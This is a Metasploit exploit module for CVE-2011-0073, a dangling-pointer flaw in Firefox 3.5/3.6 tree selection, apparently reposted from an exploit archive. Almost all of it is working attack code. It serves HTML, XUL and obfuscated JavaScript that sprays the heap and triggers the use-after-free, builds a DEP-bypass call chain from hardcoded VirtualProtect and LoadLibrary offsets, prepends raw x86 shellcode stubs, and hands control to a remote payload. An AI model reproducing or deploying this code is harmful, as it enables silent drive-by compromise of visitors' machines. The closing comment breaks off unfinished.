Mozilla Firefox "nsTreeRange" Dangling Pointer Vulnerability

##
# $Id: mozilla_nstreerange.rb 13148 2011-07-10 21:10:45Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
  :ua_name => HttpClients::FF,
  :ua_minver => "3.5",
  :ua_maxver => "3.6.16",
  :os_name => OperatingSystems::WINDOWS,
  :javascript => true,
  :rank => NormalRanking,
  :vuln_test => "if (navigator.userAgent.indexOf('Windows NT 5.1') != -1 || navigator.javaEnabled()) { is_vuln = true; }",
})

def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Mozilla Firefox "nsTreeRange" Dangling Pointer Vulnerability',
   'Description'    => %q{
    This module exploits a code execution vulnerability in Mozilla Firefox
    3.6.x <= 3.6.16 and 3.5.x <= 3.5.17 found in nsTreeSelection.
    By overwriting a subfunction of invalidateSelection it is possible to free the
    nsTreeRange object that the function currently operates on.
    Any further operations on the freed object can result in remote code execution.
    Utilizing the call setup the function provides it's possible to bypass DEP
    without the need for a ROP. Sadly this exploit is still either dependent
    on Java or bound by ASLR because Firefox doesn't employ any ASLR-free
    modules anymore.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'regenrecht', # discovered and sold to ZDI
     'xero', # Shenanigans
    ],
   'Version'        => '$Revision: 13148 $',
   'References'     =>
    [
     ['CVE',    '2011-0073'],
     ['OSVDB', '72087'],
     ['BID',    '47663'],
     ['URL',    'http://www.zerodayinitiative.com/advisories/ZDI-11-157/'],
     ['URL',    'https://bugzilla.mozilla.org/show_bug.cgi?id=630919'],
     ['URL',    'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html']
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread', # graceful exit if run in separate thread
     'InitialAutoRunScript' => 'migrate -f',
    },
   'Payload'        =>
    {
     'Space'    => 0x1000, # depending on the spray size it's actually a lot more
     'BadChars' => "",
    },
   'Targets'        =>
    [
     [ 'Auto (Direct attack against Windows XP, otherwise through Java, if enabled)',
      {
       'Platform' => 'win',
       'Arch' => ARCH_X86,
       'Auto' => true,
       'Targets' => [['navigator.userAgent.indexOf("Windows NT 5.1") != -1', 1],
        ['navigator.javaEnabled()', 2]],
       'UsesJava' => true
      }
     ],
     [ 'Firefox Runtime, fails with ASLR',
      {
       'Platform' => 'win',
       'Arch' => ARCH_X86,
       'VPOffset' => 0x781A91F8, # VirtualProtect
       'LLOffset' => 0x781A9104, # LoadLibraryA
       'GPAOffset' => 0x781A9014, # GetProcAddress
       'UsesJava' => false
      }
     ],
     [ 'Java Runtime (7.10.3052.4), best against ASLR',
      {
       'Platform' => 'win',
       'Arch' => ARCH_X86,
       'VPOffset' => 0x7C37A140,
       'LLOffset' => 0x7C37A0B8,
       'GPAOffset' => 0x7C37A00C,
       'UsesJava' => true
      }
     ],
     [ 'Java JVM (20.1.0.02)',
      {
       'Platform' => 'win',
       'Arch' => ARCH_X86,
       'VPOffset' => 0x6D9FC094,
       'LLOffset' => 0x6D9FC110,
       'GPAOffset' => 0x6D9FC188,
       'UsesJava' => true
      }
     ],
     [ 'Java Regutils (6.0.260.3)',
      {
       'Platform' => 'win',
       'Arch' => ARCH_X86,
       'VPOffset' => 0x6D6C227C,
       'LLOffset' => 0x6D6C2198,
       'GPAOffset' => 0x6D6C2184,
       'UsesJava' => true
      }
     ],
    ],
   'DefaultTarget' => 0,
   'DisclosureDate' => 'Feb 2 2011'
   ))

       register_options(
   [
    OptBool.new('SEHProlog', [ true, 'Whether to prepend the payload with an SEH prolog, to catch crashes and enable a silent exit', true]),
    OptBool.new('CreateThread', [ true, 'Whether to execute the payload in a new thread', true]),
   ], self.class
  )

  register_advanced_options(
   [
    OptInt.new('BaseOffset', [ true, 'The offset we hope to have overwritten with our heap spray', 0x0F000000 ]),
    OptInt.new('SpraySize', [ true, 'The size of our heapspray blocks', 0x100000 ]),
    OptInt.new('SprayCount', [ true, 'Number of blocks to be sprayed', 200 ]),
    OptBool.new('SetBP', [ true, 'Set a breakpoint before payload execution', false ]),
    OptBool.new('Crash', [ true, 'Usa an invalid offset to make the exploit crash (for debugging)', false ]),
   ], self.class
  )
end

def prepare_payload(target, p)
  base_offset = (datastore['Crash'] != true) ? datastore['BaseOffset'] : 1
  spray_size = datastore['SpraySize']

esp_fix = 0
callchain = []

  # Adding calls by hand is tedious, look at the bottom for an explanation of these values
  add_call = Proc.new { |offset, arg1, arg2, direct |
   next_offset = base_offset + (callchain.flatten.length*4)
   callchain[-1][2] = next_offset if callchain.length > 0 # connect new frame to last one

   if direct
    callchain <<
    [
     next_offset + 0x4 - 8,
     next_offset + 0x14,
     0,
     arg1,
     arg2,
     next_offset + 0x18 - 0x70,
     offset
    ]
   else
    callchain <<
    [
     next_offset + 0x4 - 8,
     next_offset + 0x14,
     0,
     arg1,
     arg2,
     offset - 0x70
    ]
   end
  }

  add_call.call(target['LLOffset'], base_offset, 0) # use dummy LoadLibrary call to push valid fourth VirtualProtect argument on stack
  add_call.call(target['VPOffset'], 0x10000, 0x40) # call VirtualProtect to make heap executable
  add_call.call(0xDEADBEEF, 0, 0, true) # call our shellcode

  callchain.flatten!
  callchain[-1] = base_offset + (callchain.length*4) # patch last offset to point to shellcode located after callchain

esp_fix = 0x10

payload_buf = callchain.pack('V*')

payload_buf << "\xCC" if datastore['SetBP']

  # make rest of shellcode run in separate thread
  if datastore['CreateThread'] and target['LLOffset'] and target['GPAOffset']
   payload_buf << "\x60\x31\xc0\x50\x50\x50\xe8\x00\x00\x00\x00\x5a\x89\xd6"
   payload_buf << "\x52\x83\x04\x24\x3b\x83\xc2\x25\x83\xc6\x2e\x50\x50\x56"
   payload_buf << "\x52\xff\x15#{[target['LLOffset']].pack('V')}\x50\xff\x15#{[target['GPAOffset']].pack('V')}"
   payload_buf << "\xff\xd0\x61\xc2#{[esp_fix].pack('v')}\x6b\x65\x72\x6e\x65\x6c\x33\x32"
   payload_buf << "\x00\x43\x72\x65\x61\x74\x65\x54\x68\x72\x65\x61\x64\x00"

esp_fix = 0
end

  # encapsulate actual payload in SEH handler
  if datastore['SEHProlog']
   payload_buf << "\x60\xe8\x00\x00\x00\x00\x83\x04\x24\x1a\x64\xff\x35\x00"
   payload_buf << "\x00\x00\x00\x64\x89\x25\x00\x00\x00\x00\x81\xec\x00\x01"
   payload_buf << "\x00\x00\xeb\x12\x8b\x64\x24\x08\x64\x8f\x05\x00\x00\x00"
   payload_buf << "\x00\x83\xc4\x04\x61\xc2"
   payload_buf << [esp_fix].pack('v')
  end

payload_buf << p

# controlled crash, to return to our SEH handler
payload_buf << "\x33\xC0\xFF\xE0" if datastore['SEHProlog']

payload_buf
end

def on_request_uri(cli, request)

  if request.uri == get_resource() or request.uri =~ /\/$/
   print_status("#{self.refname}: Redirecting #{cli.peerhost}:#{cli.peerport}")
   redir = get_resource()
   redir << '/' if redir[-1,1] != '/'
   redir << rand_text_alphanumeric(4+rand(4))
   redir << '.html'
   send_redirect(cli, redir)

  elsif request.uri =~ /\.html?$/
   print_status("#{self.refname}: Sending HTML to #{cli.peerhost}:#{cli.peerport}")
   xul_name = rand_text_alpha(rand(100)+1)
   j_applet = rand_text_alpha(rand(100)+1)

html = <<-EOS
<html>
#{"<applet codebase=\".\" code=\"#{j_applet}.class\" width=0 height=0></applet>" if target['UsesJava']}
<iframe src="#{xul_name}.xul" width="1" height="1" frameborder="0"></iframe>
</html>
EOS
send_response(cli, html, { 'Content-Type' => 'text/html' })

elsif request.uri =~ /\.xul$/
print_status("#{self.refname}: Sending XUL to #{cli.peerhost}:#{cli.peerport}")

js_file = rand_text_alpha(rand(100)+1)
@js_func = rand_text_alpha(rand(32)+1)

   xul = <<-EOS
<?xml version="1.0"?>
<?xml-stylesheet type="text/css"?>
<window xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="#{@js_func}()">
<script src="#{js_file}.js"/>
<tree id="tr">
<treechildren>
    <treeitem>
      <treerow>
        <treecell label=""/>
      </treerow>
    </treeitem>
</treechildren>
</tree>
</window>
EOS
   send_response(cli, xul, { 'Content-Type' => 'application/vnd.mozilla.xul+xml' })

  elsif request.uri =~ /\.js$/
   print_status("#{self.refname}: Sending JS to #{cli.peerhost}:#{cli.peerport}")
   return if ((p = regenerate_payload(cli).encoded) == nil)

   base_offset = (datastore['Crash'] != true) ? datastore['BaseOffset'] : 1
   spray_size = datastore['SpraySize']
   spray_count = datastore['SprayCount']

   if not target['Auto']
    escaped_payload = Rex::Text.to_unescape(prepare_payload(target, p))
    shellcode_str = "var shellcode = unescape(\"#{escaped_payload}\");"
   else
    shellcode_str = target['Targets'].map{ |check, index|
     "if (#{check}) {\n var shellcode = unescape(\"#{Rex::Text.to_unescape(prepare_payload(targets[index], p))}\");\n }"}.join(' else ')
    shellcode_str << " else { return; }"
   end

escaped_addr = Rex::Text.to_unescape([base_offset].pack("V"))

custom_js = <<-EOS
function #{@js_func}() {

container = new Array();

#{shellcode_str}

var delimiter = unescape("%udead");

var block = unescape("#{escaped_addr}");
while (block.length < 8)
block += block;

var treeSel = document.getElementById("tr").view.selection;

treeSel.clearSelection();

for (var count = 0; count < 30; ++count)
container.push(block + delimiter);

treeSel.select(0);

treeSel.tree = {
invalidateRange: function(s,e) {

treeSel.tree = null;
treeSel.clearSelection();

for (var count = 0; count < 10; ++count)
container.push(block + delimiter);

   var big = unescape("%u4558%u4f52");
   while (big.length < #{spray_size / 2})
    big += big;

var pad = big.substring(0, #{(base_offset % spray_size)/2}) + shellcode;
var spray = pad + big.substring(pad.length + 2);

   for (var count = 0; count < #{spray_count}; ++count)
    container.push(spray + delimiter);
  }
}

treeSel.invalidateSelection();
}
EOS
   opts = {
    'Symbols' => {
     'Variables' => %w{ shellcode container delimiter block treeSel big pad spray count }
    }
   }

send_response(cli, obfuscate_js(custom_js, opts), { 'Content-Type' => 'application/x-javascript' })
end

# Handle the payload
handler(cli)
end
end

=begin

ESI points to shellcode

final call looks like this: CALL [[[[ESI]+8]]+70]
[ESI+10], [ESI+C] and [[ESI]+8] are pushed as arguments
[ESI+8] points to the next call frame, if there is one

EKU-ID: 716	CVE: 2011-0073	OSVDB-ID: 72087
Author: regenrecht	Published: 2011-07-12	Verified:
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Mozilla Firefox "nsTreeRange" Dangling Pointer Vulnerability

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